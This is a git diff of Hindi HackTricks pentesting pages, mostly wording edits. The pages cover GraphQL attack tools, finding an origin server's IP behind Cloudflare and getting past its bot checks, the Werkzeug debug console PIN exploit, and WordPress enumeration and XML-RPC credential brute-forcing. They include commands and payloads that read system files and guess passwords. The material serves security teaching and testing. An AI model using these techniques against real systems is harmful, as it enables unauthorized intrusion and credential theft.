- [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): graphql एंडपॉइंट्स की सामान्य गलत कॉन्फ़िगरेशन का परीक्षण करें
- [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): graphql endpoints की सामान्य गलत कॉन्फ़िगरेशन का परीक्षण करें
- [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): बैच GraphQL क्वेरी और म्यूटेशन करने पर ध्यान केंद्रित करने वाला GraphQL सुरक्षा ऑडिटिंग स्क्रिप्ट।
- [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): उपयोग किए जा रहे graphql की फिंगरप्रिंटिंग करें
- [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): उपयोग में लाए जा रहे graphql की फिंगरप्रिंटिंग करें
- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): टूलकिट जिसका उपयोग स्कीमाओं को प्राप्त करने और संवेदनशील डेटा की खोज, प्राधिकरण का परीक्षण, ब्रूट फोर्स स्कीमाओं और एक दिए गए प्रकार के लिए पथ खोजने के लिए किया जा सकता है।
- [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): इसे स्टैंडअलोन के रूप में या [Burp extension](https://github.com/doyensec/inql) के रूप में उपयोग किया जा सकता है।
- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): इसे CLI क्लाइंट के रूप में भी उपयोग किया जा सकता है ताकि हमलों को स्वचालित किया जा सके
- [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): टूल जो **GraphQL स्कीमा में एक दिए गए प्रकार तक पहुँचने के विभिन्न तरीकों** की सूची बनाता है।
- [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): InQL के स्टैंडअलोन और CLI मोड का उत्तराधिकारी
- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): उन्नत GraphQL परीक्षण के लिए Burp extension। _**Scanner**_ InQL v5.0 का मूल है, जहाँ आप एक GraphQL एंडपॉइंट या एक स्थानीय अंतर्दृष्टि स्कीमा फ़ाइल का विश्लेषण कर सकते हैं। यह सभी संभावित क्वेरी और म्यूटेशन को स्वचालित रूप से उत्पन्न करता है, उन्हें आपके विश्लेषण के लिए एक संरचित दृश्य में व्यवस्थित करता है। _**Attacker**_ घटक आपको बैच GraphQL हमले चलाने की अनुमति देता है, जो खराब कार्यान्वित दर सीमाओं को दरकिनार करने के लिए उपयोगी हो सकता है।
- [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): कुछ Graphql डेटाबेस की मदद से स्कीमा प्राप्त करने की कोशिश करें जो म्यूटेशन और पैरामीटर के नाम सुझाएंगे, भले ही अंतर्दृष्टि अक्षम हो।
- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): उन्नत GraphQL परीक्षण के लिए Burp extension। _**Scanner**_ InQL v5.0 का मुख्य भाग है, जहाँ आप एक GraphQL endpoint या एक स्थानीय introspection स्कीमा फ़ाइल का विश्लेषण कर सकते हैं। यह सभी संभावित क्वेरी और म्यूटेशन को स्वचालित रूप से उत्पन्न करता है, उन्हें आपके विश्लेषण के लिए एक संरचित दृश्य में व्यवस्थित करता है। _**Attacker**_ घटक आपको बैच GraphQL हमले चलाने की अनुमति देता है, जो खराब कार्यान्वित दर सीमाओं को दरकिनार करने के लिए उपयोगी हो सकता है।
- [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): कुछ Graphql डेटाबेस की मदद से स्कीमा प्राप्त करने की कोशिश करें जो म्यूटेशन और पैरामीटर के नाम सुझाएंगे, भले ही introspection बंद हो।
### Clients
@ -569,7 +568,9 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
### Automatic Tests
{% embed url="https://graphql-dashboard.herokuapp.com/" %}
{{#ref}}
https://graphql-dashboard.herokuapp.com/
{{#endref}}
- AutoGraphQL को समझाने वाला वीडियो: [https://www.youtube.com/watch?v=JJmufWfVvyU](https://www.youtube.com/watch?v=JJmufWfVvyU)
@ -583,5 +584,4 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
- [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696)
- [**https://portswigger.net/web-security/graphql**](https://portswigger.net/web-security/graphql)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,10 +4,10 @@
## Common Techniques to Uncover Cloudflare
- आप किसी सेवा का उपयोग कर सकते हैं जो डोमेन के **ऐतिहासिक DNS रिकॉर्ड** प्रदान करती है। शायद वेब पृष्ठ एक ऐसे IP पते पर चल रहा है जो पहले उपयोग किया गया था।
- आप किसी सेवा का उपयोग कर सकते हैं जो डोमेन के **ऐतिहासिक DNS रिकॉर्ड** प्रदान करती है। शायद वेब पृष्ठ एक IP पते पर चल रहा है जो पहले उपयोग किया गया था।
- **ऐतिहासिक SSL प्रमाणपत्रों** की जांच करके भी यही हासिल किया जा सकता है जो मूल IP पते की ओर इशारा कर सकते हैं।
- **अन्य उपडोमेन के DNS रिकॉर्ड** की भी जांच करें जो सीधे IP की ओर इशारा कर रहे हैं, क्योंकि यह संभव है कि अन्य उपडोमेन उसी सर्वर की ओर इशारा कर रहे हों (शायद FTP, मेल या किसी अन्य सेवा की पेशकश करने के लिए)।
- यदि आप वेब एप्लिकेशन के अंदर एक **SSRF** पाते हैं, तो आप इसका दुरुपयोग करके सर्वर के IP पते को प्राप्त कर सकते हैं।
- **अन्य उपडोमेन के DNS रिकॉर्ड** की भी जांच करें जो सीधे IPs की ओर इशारा कर रहे हैं, क्योंकि यह संभव है कि अन्य उपडोमेन उसी सर्वर की ओर इशारा कर रहे हों (शायद FTP, मेल या किसी अन्य सेवा की पेशकश करने के लिए)।
- यदि आप वेब एप्लिकेशन के अंदर एक **SSRF** पाते हैं तो आप इसका दुरुपयोग करके सर्वर का IP पता प्राप्त कर सकते हैं।
- ब्राउज़रों में वेब पृष्ठ की एक अद्वितीय स्ट्रिंग खोजें जैसे shodan (और शायद google और समान?)। शायद आप उस सामग्री के साथ एक IP पता पा सकते हैं।
- इसी तरह, अद्वितीय स्ट्रिंग की तलाश करने के बजाय, आप टूल का उपयोग करके फ़ेविकॉन आइकन की खोज कर सकते हैं: [https://github.com/karma9874/CloudFlare-IP](https://github.com/karma9874/CloudFlare-IP) या [https://github.com/pielco11/fav-up](https://github.com/pielco11/fav-up)
- यह बहुत बार काम नहीं करेगा क्योंकि सर्वर को IP पते द्वारा पहुंचने पर वही प्रतिक्रिया भेजनी चाहिए, लेकिन आप कभी नहीं जानते।
@ -16,7 +16,7 @@
- डोमेन की खोज करें [http://www.crimeflare.org:82/cfs.html](http://www.crimeflare.org:82/cfs.html) या [https://crimeflare.herokuapp.com](https://crimeflare.herokuapp.com) के अंदर। या टूल का उपयोग करें [CloudPeler](https://github.com/zidansec/CloudPeler) (जो उस API का उपयोग करता है)
- डोमेन की खोज करें [https://leaked.site/index.php?resolver/cloudflare.0/](https://leaked.site/index.php?resolver/cloudflare.0/)
- [**CloudFlair**](https://github.com/christophetd/CloudFlair) एक टूल है जो डोमेन नाम वाले Censys प्रमाणपत्रों का उपयोग करके खोज करेगा, फिर ह उन प्रमाणपत्रों के अंदर IPv4s की खोज करेगा और अंततः उन IPs में वेब पृष्ठ तक पहुंचने की कोशिश करेगा।
- [**CloudFlair**](https://github.com/christophetd/CloudFlair) एक टूल है जो डोमेन नाम वाले Censys प्रमाणपत्रों का उपयोग करके खोज करेगा, फिर ह उन प्रमाणपत्रों के अंदर IPv4s की खोज करेगा और अंततः उन IPs में वेब पृष्ठ तक पहुंचने की कोशिश करेगा।
- [**CloakQuest3r**](https://github.com/spyboy-productions/CloakQuest3r): CloakQuest3r एक शक्तिशाली Python टूल है जिसे Cloudflare और अन्य विकल्पों द्वारा सुरक्षित वेबसाइटों के वास्तविक IP पते को उजागर करने के लिए सावधानीपूर्वक तैयार किया गया है, जो एक व्यापक रूप से अपनाया गया वेब सुरक्षा और प्रदर्शन सुधार सेवा है। इसका मुख्य मिशन Cloudflare की सुरक्षा ढाल के पीछे छिपे वेब सर्वरों के वास्तविक IP पते को सटीक रूप से पहचानना है।
- [Censys](https://search.censys.io/)
- [Shodan](https://shodan.io/)
@ -41,7 +41,9 @@ done
इस प्रक्रिया का बेहतर विवरण देखने के लिए चेक करें:
{% embed url="https://trickest.com/blog/cloudflare-bypass-discover-ip-addresses-aws/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{{#ref}}
https://trickest.com/blog/cloudflare-bypass-discover-ip-addresses-aws/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks
{{#endref}}
```bash
# Find open ports
sudo masscan --max-rate 10000 -p80,443 $(curl -s https://ip-ranges.amazonaws.com/ip-ranges.json | jq -r '.prefixes[] | select(.service=="EC2") | .ip_prefix' | tr '\n' ' ') | grep "open" > all_open.txt
@ -81,7 +83,7 @@ httpx -json -no-color -list aws_webs.json -header Host: cloudflare.malwareworld.
कभी-कभी आप केवल वेब पृष्ठ को स्क्रैप करने के लिए Cloudflare को बायपास करना चाहते हैं। इसके लिए कुछ विकल्प हैं:
- Google कैश का उपयोग करें: `https://webcache.googleusercontent.com/search?q=cache:https://www.petsathome.com/shop/en/pets/dog`
- अन्य कैश सेवाओं का उपयोग करें जैसे [https://archive.org/web/](https://archive.org/web/)
- अन्य कैश सेवाओं का उपयोग करें जैसे [https://archive.org/web/](https://archive.org/web/)
### उपकरण
@ -94,7 +96,7 @@ httpx -json -no-color -list aws_webs.json -header Host: cloudflare.malwareworld.
कई Cloudflare सॉल्वर विकसित किए गए हैं:
- [FlareSolverr](https://github.com/FlareSolverr/FlareSolverr)
- [cloudscraper](https://github.com/VeNoMouS/cloudscraper) [यहां गाइड](https://scrapeops.io/python-web-scraping-playbook/python-cloudscraper/)
- [cloudscraper](https://github.com/VeNoMouS/cloudscraper) [गाइड यहां](https://scrapeops.io/python-web-scraping-playbook/python-cloudscraper/)
- [cloudflare-scrape](https://github.com/Anorov/cloudflare-scrape)
- [CloudflareSolverRe](https://github.com/RyuzakiH/CloudflareSolverRe)
- [Cloudflare-IUAM-Solver](https://github.com/ninja-beans/cloudflare-iuam-solver)
@ -107,7 +109,7 @@ httpx -json -no-color -list aws_webs.json -header Host: cloudflare.malwareworld.
- **Puppeteer:** [puppeteer](https://github.com/puppeteer/puppeteer) के लिए [stealth plugin](https://github.com/berstend/puppeteer-extra/tree/master/packages/puppeteer-extra-plugin-stealth)।
- **Playwright:** [stealth plugin](https://www.npmjs.com/package/playwright-stealth) जल्द ही Playwright में आ रहा है। विकास का पालन करें [यहां](https://github.com/berstend/puppeteer-extra/issues/454) और [यहां](https://github.com/berstend/puppeteer-extra/tree/master/packages/playwright-extra)।
- **Selenium:** [undetected-chromedriver](https://github.com/ultrafunkamsterdam/undetected-chromedriver) एक अनुकूलित Selenium Chromedriver पैच।
- **Selenium:** [undetected-chromedriver](https://github.com/ultrafunkamsterdam/undetected-chromedriver) एक अनुकूलित Selenium Chromedriver पैच है
### Cloudflare के अंतर्निहित बायपास के साथ स्मार्ट प्रॉक्सी <a href="#option-5-smart-proxy-with-cloudflare-built-in-bypass" id="option-5-smart-proxy-with-cloudflare-built-in-bypass"></a>
@ -120,7 +122,7 @@ httpx -json -no-color -list aws_webs.json -header Host: cloudflare.malwareworld.
- [Oxylabs](https://oxylabs.go2cloud.org/aff_c?offer_id=7&aff_id=379&url_id=32)
- [Smartproxy](https://prf.hn/click/camref:1100loxdG/[p_id:1100l442001]/destination:https%3A%2F%2Fsmartproxy.com%2Fscraping%2Fweb) अपने स्वामित्व वाले Cloudflare बायपास तंत्र के लिए जाने जाते हैं।
जो लोग एक अनुकूलित समाधान की तलाश में हैं, [ScrapeOps Proxy Aggregator](https://scrapeops.io/proxy-aggregator/) सबसे अलग है। यह सेवा 20 से अधिक प्रॉक्सी प्रदाताओं को एकल API में एकीकृत करती है, स्वचालित रूप से आपके लक्षित डोमेन के लिए सबसे अच्छा और सबसे किफायती प्रॉक्सी चुनती है, इस प्रकार Cloudflare की सुरक्षा को नेविगेट करने के लिए एक उत्कृष्ट विकल्प प्रदान करती है।
जो लोग एक अनुकूलित समाधान की तलाश में हैं, [ScrapeOps Proxy Aggregator](https://scrapeops.io/proxy-aggregator/) विशेष रूप से उल्लेखनीय है। यह सेवा 20 से अधिक प्रॉक्सी प्रदाताओं को एकल API में एकीकृत करती है, स्वचालित रूप से आपके लक्षित डोमेन के लिए सबसे अच्छे और सबसे लागत-कुशल प्रॉक्सी का चयन करती है, इस प्रकार Cloudflare की सुरक्षा को नेविगेट करने के लिए एक उत्कृष्ट विकल्प प्रदान करती है।
### Cloudflare एंटी-बॉट सुरक्षा का रिवर्स इंजीनियरिंग <a href="#option-6-reverse-engineer-cloudflare-anti-bot-protection" id="option-6-reverse-engineer-cloudflare-anti-bot-protection"></a>
@ -128,7 +130,7 @@ Cloudflare के एंटी-बॉट उपायों का रिवर
**फायदे:** यह विधि Cloudflare की जांचों को लक्षित करने के लिए एक अत्यधिक कुशल बायपास बनाने की अनुमति देती है, जो बड़े पैमाने पर संचालन के लिए आदर्श है।
**नुकसान:** नुकसान यह है कि Cloudflare की जानबूझकर अस्पष्ट एंटी-बॉट प्रणाली को समझने और धोखा देने में जटिलता शामिल है, जिसमें विभिन्न रणनीतियों का परीक्षण करने और Cloudflare अपनी सुरक्षा को बढ़ाने के साथ बायपास को अपडेट करने के लिए निरंतर प्रयास की आवश्यकता होती है।
**नुकसान:** नुकसान यह है कि Cloudflare की जानबूझकर अस्पष्ट एंटी-बॉट प्रणाली को समझने और धोखा देने में जटिलता शामिल है, जिसमें विभिन्न रणनीतियों का परीक्षण करने और Cloudflare ी सुरक्षा को बढ़ाने के साथ बायपास को अपडेट करने के लिए निरंतर प्रयास की आवश्यकता होती है।
इस बारे में अधिक जानकारी के लिए [मूल लेख](https://scrapeops.io/web-scraping-playbook/how-to-bypass-cloudflare/) देखें।

View File

@ -2,7 +2,6 @@
{{#include ../../banners/hacktricks-training.md}}
## Console RCE
यदि डिबग सक्रिय है, तो आप `/console` पर पहुँचने और RCE प्राप्त करने का प्रयास कर सकते हैं।
@ -25,31 +24,31 @@ The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server
```
"console locked" परिदृश्य के संबंध में एक संदेश तब सामने आता है जब Werkzeug के डिबग इंटरफेस तक पहुँचने का प्रयास किया जाता है, जो कंसोल को अनलॉक करने के लिए एक PIN की आवश्यकता को इंगित करता है। सुझाव दिया गया है कि कंसोल PIN का शोषण करने के लिए Werkzeug के डिबग प्रारंभिक फ़ाइल (`__init__.py`) में PIN जनरेशन एल्गोरिदम का विश्लेषण किया जाए। PIN जनरेशन तंत्र का अध्ययन [**Werkzeug स्रोत कोड भंडार**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/__init__.py) से किया जा सकता है, हालांकि संभावित संस्करण भिन्नताओं के कारण वास्तविक सर्वर कोड को फ़ाइल ट्रैवर्सल भेद्यता के माध्यम से प्राप्त करने की सलाह दी जाती है।
एक संदेश "कंसोल लॉक" परिदृश्य के बारे में तब सामने आता है जब Werkzeug के डिबग इंटरफेस तक पहुँचने का प्रयास किया जाता है, जो कंसोल को अनलॉक करने के लिए एक PIN की आवश्यकता को इंगित करता है। सुझाव दिया गया है कि कंसोल PIN का शोषण करने के लिए Werkzeug के डिबग प्रारंभिक फ़ाइल (`__init__.py`) में PIN जनरेशन एल्गोरिदम का विश्लेषण किया जाए। PIN जनरेशन तंत्र का अध्ययन [**Werkzeug स्रोत कोड भंडार**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/__init__.py) से किया जा सकता है, हालांकि संभावित संस्करण भिन्नताओं के कारण वास्तविक सर्वर कोड को फ़ाइल ट्रैवर्सल भेद्यता के माध्यम से प्राप्त करने की सलाह दी जाती है।
कंसोल PIN का शोषण करने के लिए, दो सेट के वेरिएबल्स, `probably_public_bits` और `private_bits`, की आवश्यकता होती है:
#### **`probably_public_bits`**
- **`username`**: उस उपयोगकर्ता को संदर्भित करता है जिसने Flask सत्र शुरू किया।
- **`modname`**: आमतौर पर `flask.app` के रूप में नामित किया जाता है।
- **`getattr(app, '__name__', getattr(app.__class__, '__name__'))`**: सामान्यतः **Flask** में हल होता है।
- **`modname`**: आमतौर पर `flask.app` के रूप में नामित होता है।
- **`getattr(app, '__name__', getattr(app.__class__, '__name__'))`**: आमतौर पर **Flask** में हल होता है।
- **`getattr(mod, '__file__', None)`**: Flask निर्देशिका के भीतर `app.py` के लिए पूर्ण पथ का प्रतिनिधित्व करता है (जैसे, `/usr/local/lib/python3.5/dist-packages/flask/app.py`)। यदि `app.py` लागू नहीं है, तो **`app.pyc`** का प्रयास करें।
#### **`private_bits`**
- **`uuid.getnode()`**: वर्तमान मशीन का MAC पता प्राप्त करता है, जिसमें `str(uuid.getnode())` इसे दशमलव प्रारूप में अनुवादित करता है।
- सर्वर के MAC पते को **निर्धारित करने के लिए**, एक को सक्रिय नेटवर्क इंटरफेस की पहचान करनी होगी जिसका उपयोग ऐप द्वारा किया जा रहा है (जैसे, `ens3`)। यदि अनिश्चितता हो, तो **`/proc/net/arp`** को लीक करें ताकि डिवाइस ID मिल सके, फिर **`/sys/class/net/<device id>/address`** से **MAC पता निकालें**
- **सर्वर के MAC पते का निर्धारण करने के लिए**, एक को सक्रिय नेटवर्क इंटरफेस की पहचान करनी होगी जिसका उपयोग ऐप द्वारा किया जा रहा है (जैसे, `ens3`)। यदि अनिश्चितता हो, तो **`/proc/net/arp`** लीक करें ताकि डिवाइस ID मिल सके, फिर **`/sys/class/net/<device id>/address`** से **MAC पता निकालें**
- एक हेक्साडेसिमल MAC पते को दशमलव में परिवर्तित करने के लिए नीचे दिखाए अनुसार किया जा सकता है:
```python
# Example MAC address: 56:00:02:7a:23:ac
# उदाहरण MAC पता: 56:00:02:7a:23:ac
>>> print(0x5600027a23ac)
94558041547692
```
- **`get_machine_id()`**: `/etc/machine-id` या `/proc/sys/kernel/random/boot_id` से डेटा को जोड़ता है और `/proc/self/cgroup` की पहली पंक्ति क अंतिम स्लैश (`/`) के बाद जोड़ता है।
- **`get_machine_id()`**: `/etc/machine-id` या `/proc/sys/kernel/random/boot_id` से डेटा को `/proc/self/cgroup` की पहली पंक्ति के साथ अंतिम स्लैश (`/`) के बाद जोड़ता है।
<details>
@ -144,19 +143,21 @@ print(rv)
यह स्क्रिप्ट जुड़े हुए बिट्स को हैश करके, विशिष्ट साल्ट (`cookiesalt` और `pinsalt`) जोड़कर, और आउटपुट को फॉर्मेट करके PIN उत्पन्न करती है। यह ध्यान रखना महत्वपूर्ण है कि `probably_public_bits` और `private_bits` के वास्तविक मानों को लक्षित प्रणाली से सटीक रूप से प्राप्त करना आवश्यक है ताकि उत्पन्न PIN Werkzeug कंसोल द्वारा अपेक्षित PIN से मेल खाता हो।
> [!TIP]
> यदि आप Werkzeug के **पुराने संस्करण** पर हैं, तो **hashing algorithm को md5** में बदलने का प्रयास करें, sha1 के बजाय
> यदि आप Werkzeug के **पुराने संस्करण** पर हैं, तो **hashing algorithm को md5** में बदलने का प्रयास करें बजाय sha1 के
## Werkzeug Unicode वर्ण
## Werkzeug Unicode chars
जैसा कि [**इस मुद्दे**](https://github.com/pallets/werkzeug/issues/2833) में देखा गया है, Werkzeug हेडर में Unicode वर्णों के साथ एक अनुरोध को बंद नहीं करता है। और जैसा कि [**इस लेख**](https://mizu.re/post/twisty-python) में समझाया गया है, यह एक CL.0 Request Smuggling भेद्यता का कारण बन सकता है।
जैसा कि [**इस मुद्दे**](https://github.com/pallets/werkzeug/issues/2833) में देखा गया है, Werkzeug हेडर में Unicode वर्णों के साथ एक अनुरोध को बंद नहीं करता है। और जैसा कि [**इस लेख**](https://mizu.re/post/twisty-python) में समझाया गया है, यह एक CL.0 Request Smuggling भेद्यता का कारण बन सकता है।
यह इसलिए है, क्योंकि Werkzeug में कुछ **Unicode** वर्ण भेजना संभव है और यह सर्वर को **टूटने** का कारण बनेगा। हालाँकि, यदि HTTP कनेक्शन को **`Connection: keep-alive`** हेडर के साथ बनाया गया था, तो अनुरोध का शरीर नहीं पढ़ा जाएगा और कनेक्शन अभी भी खुला रहेगा, इसलिए अनुरोध का **शरीर** **अगले HTTP अनुरोध** के रूप में माना जाएगा।
यह इसलिए है, क्योंकि Werkzeug में कुछ **Unicode** वर्ण भेजना संभव है और यह सर्वर को **टूट** देगा। हालाँकि, यदि HTTP कनेक्शन को **`Connection: keep-alive`** हेडर के साथ बनाया गया था, तो अनुरोध का शरीर नहीं पढ़ा जाएगा और कनेक्शन अभी भी खुला रहेगा, इसलिए अनुरोध का **शरीर** **अगले HTTP अनुरोध** के रूप में माना जाएगा।
## स्वचालित शोषण
## Automated Exploitation
{% embed url="https://github.com/Ruulian/wconsole_extractor" %}
{{#ref}}
https://github.com/Ruulian/wconsole_extractor
{{#endref}}
## संदर्भ
## References
- [**https://www.daehee.com/werkzeug-console-pin-exploit/**](https://www.daehee.com/werkzeug-console-pin-exploit/)
- [**https://ctftime.org/writeup/17955**](https://ctftime.org/writeup/17955)

View File

@ -5,7 +5,7 @@
## Basic Information
- **Uploaded** files go to: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
- **Themes files can be found in /wp-content/themes/,** इसलिए यदि आप RCE प्राप्त करने के लिए थीम के कुछ php को बदलते हैं, तो आप शायद उस पथ का उपयोग करेंगे। उदाहरण के लिए: **थीम ट्वेंटीट्वेल्व** का उपयोग करते हुए आप **404.php** फ़ाइल तक **पहुँच** सकते हैं: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Themes files can be found in /wp-content/themes/,** इसलिए यदि आप RCE प्राप्त करने के लिए थीम के कुछ php को बदलते हैं, तो आप शायद उस पथ का उपयोग करेंगे। उदाहरण के लिए: **थीम ट्वेंटीट्वेल्व** का उपयोग करते हुए आप **404.php** फ़ाइल तक **पहुँच सकते हैं**: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **एक और उपयोगी यूआरएल हो सकता है:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
@ -15,22 +15,22 @@
### **Main WordPress Files**
- `index.php`
- `license.txt` में उपयोगी जानकारी होती है जैसे कि इंस्टॉल किया गया WordPress का संस्करण
- `wp-activate.php` नए WordPress साइट सेटअप करते समय ईमेल सक्रियण प्रक्रिया के लिए उपयोग किया जाता है।
- `license.txt` उपयोगी जानकारी जैसे कि स्थापित वर्डप्रेस का संस्करण शामिल है
- `wp-activate.php` नए वर्डप्रेस साइट सेटअप करते समय ईमेल सक्रियण प्रक्रिया के लिए उपयोग किया जाता है।
- लॉगिन फ़ोल्डर (छिपाने के लिए नाम बदल सकते हैं):
- `/wp-admin/login.php`
- `/wp-admin/wp-login.php`
- `/login.php`
- `/wp-login.php`
- `xmlrpc.php` एक फ़ाइल है जो WordPress की एक विशेषता का प्रतिनिधित्व करती है जो डेटा को HTTP के माध्यम से संचारित करने की अनुमति देती है, जो परिवहन तंत्र के रूप में कार्य करती है और XML को एन्कोडिंग तंत्र के रूप में। इस प्रकार की संचार को WordPress [REST API](https://developer.wordpress.org/rest-api/reference) द्वारा प्रतिस्थापित किया गया है।
- `xmlrpc.php` एक फ़ाइल है जो वर्डप्रेस की एक विशेषता का प्रतिनिधित्व करती है जो डेटा को HTTP के माध्यम से संचारित करने की अनुमति देती है, जो परिवहन तंत्र के रूप में कार्य करती है और XML को एन्कोडिंग तंत्र के रूप में। इस प्रकार की संचार को वर्डप्रेस [REST API](https://developer.wordpress.org/rest-api/reference) द्वारा प्रतिस्थापित किया गया है।
- `wp-content` फ़ोल्डर मुख्य निर्देशिका है जहाँ प्लगइन्स और थीम संग्रहीत होते हैं।
- `wp-content/uploads/` वह निर्देशिका है जहाँ प्लेटफ़ॉर्म पर अपलोड की गई कोई भी फ़ाइल संग्रहीत होती है।
- `wp-includes/` यह वह निर्देशिका है जहाँ कोर फ़ाइलें संग्रहीत होती हैं, जैसे कि प्रमाणपत्र, फ़ॉन्ट, जावास्क्रिप्ट फ़ाइलें, और विजेट।
- `wp-sitemap.xml` WordPress संस्करण 5.5 और उससे अधिक में, WordPress सभी सार्वजनिक पोस्ट और सार्वजनिक रूप से क्वेरी करने योग्य पोस्ट प्रकारों और वर्गीकरणों के साथ एक साइटमैप XML फ़ाइल उत्पन्न करता है।
- `wp-sitemap.xml` वर्डप्रेस संस्करण 5.5 और उससे अधिक में, वर्डप्रेस सभी सार्वजनिक पोस्ट और सार्वजनिक रूप से क्वेरी करने योग्य पोस्ट प्रकारों और वर्गीकरणों के साथ एक साइटमैप XML फ़ाइल उत्पन्न करता है।
**Post exploitation**
- `wp-config.php` फ़ाइल में डेटाबेस से कनेक्ट करने के लिए WordPress द्वारा आवश्यक जानकारी होती है जैसे कि डेटाबेस का नाम, डेटाबेस होस्ट, उपयोगकर्ता नाम और पासवर्ड, प्रमाणीकरण कुंजी और नमक, और डेटाबेस तालिका उपसर्ग। इस कॉन्फ़िगरेशन फ़ाइल का उपयोग DEBUG मोड को सक्रिय करने के लिए भी किया जा सकता है, जो समस्या निवारण में सहायक हो सकता है।
- `wp-config.php` फ़ाइल में वर्डप्रेस द्वारा डेटाबेस से कनेक्ट करने के लिए आवश्यक जानकारी होती है जैसे कि डेटाबेस का नाम, डेटाबेस होस्ट, उपयोगकर्ता नाम और पासवर्ड, प्रमाणीकरण कुंजी और नमक, और डेटाबेस तालिका उपसर्ग। इस कॉन्फ़िगरेशन फ़ाइल का उपयोग DEBUG मोड को सक्रिय करने के लिए भी किया जा सकता है, जो समस्या निवारण में सहायक हो सकता है।
### Users Permissions
@ -81,7 +81,7 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
### प्लगइन्स और थीम
आप शायद सभी संभावित प्लगइन्स और थीम नहीं ढूंढ पाएंगे। सभी को खोजने के लिए, आपको **प्लगइन्स और थीम की सूची पर सक्रिय रूप से ब्रूट फोर्स करना होगा** (हमारे लिए उम्मीद है कि इस सूची को शामिल करने वाले स्वचालित उपकरण हैं)।
आप शायद सभी संभावित प्लगइन्स और थीम नहीं ढूंढ पाएंगे। उन्हें खोजने के लिए, आपको **प्लगइन्स और थीम की सूची पर सक्रिय रूप से ब्रूट फोर्स करना होगा** (हमारे लिए उम्मीद है कि इस सूची को शामिल करने वाले स्वचालित उपकरण हैं)।
### उपयोगकर्ता
@ -95,7 +95,7 @@ curl -s -I -X GET http://blog.example.com/?author=1
```bash
curl http://blog.example.com/wp-json/wp/v2/users
```
एक और `/wp-json/` एंडपॉइंट जो उपयोगकर्ताओं के बारे में कुछ जानकारी प्रकट कर सकता है वह है:
एक और `/wp-json/` एंडपॉइंट जो उपयोगकर्ताओं के बारे में कुछ जानकारी प्रकट कर सकता है:
```bash
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
```
@ -122,7 +122,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
**क्रेडेंशियल्स ब्रूटफोर्स**
**`wp.getUserBlogs`**, **`wp.getCategories`** या **`metaWeblog.getUsersBlogs`** कुछ ऐसे तरीके हैं जिनका उपयोग क्रेडेंशियल्स को ब्रूट-फोर्स करने के लिए किया जा सकता है। यदि आप इनमें से कोई भी ढूंढ सकते हैं, तो आप कुछ इस तरह भेज सकते हैं:
**`wp.getUserBlogs`**, **`wp.getCategories`** या **`metaWeblog.getUsersBlogs`** कुछ ऐसे तरीके हैं जिनका उपयोग क्रेडेंशियल्स को ब्रूट-फोर्स करने के लिए किया जा सकता है। यदि आप इनमें से कोई भी खोज सकते हैं, तो आप कुछ इस तरह भेज सकते हैं:
```markup
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
@ -132,7 +132,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
</params>
</methodCall>
```
संदेश _"Incorrect username or password"_ एक 200 कोड प्रतिक्रिया के अंदर तब दिखाई देना चाहिए जब क्रेडेंशियल मान्य नहीं होते।
संदेश _"Incorrect username or password"_ 200 कोड प्रतिक्रिया के अंदर तब दिखाई देना चाहिए जब क्रेडेंशियल मान्य नहीं होते।
![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
@ -174,12 +174,12 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
**2FA को बायपास करें**
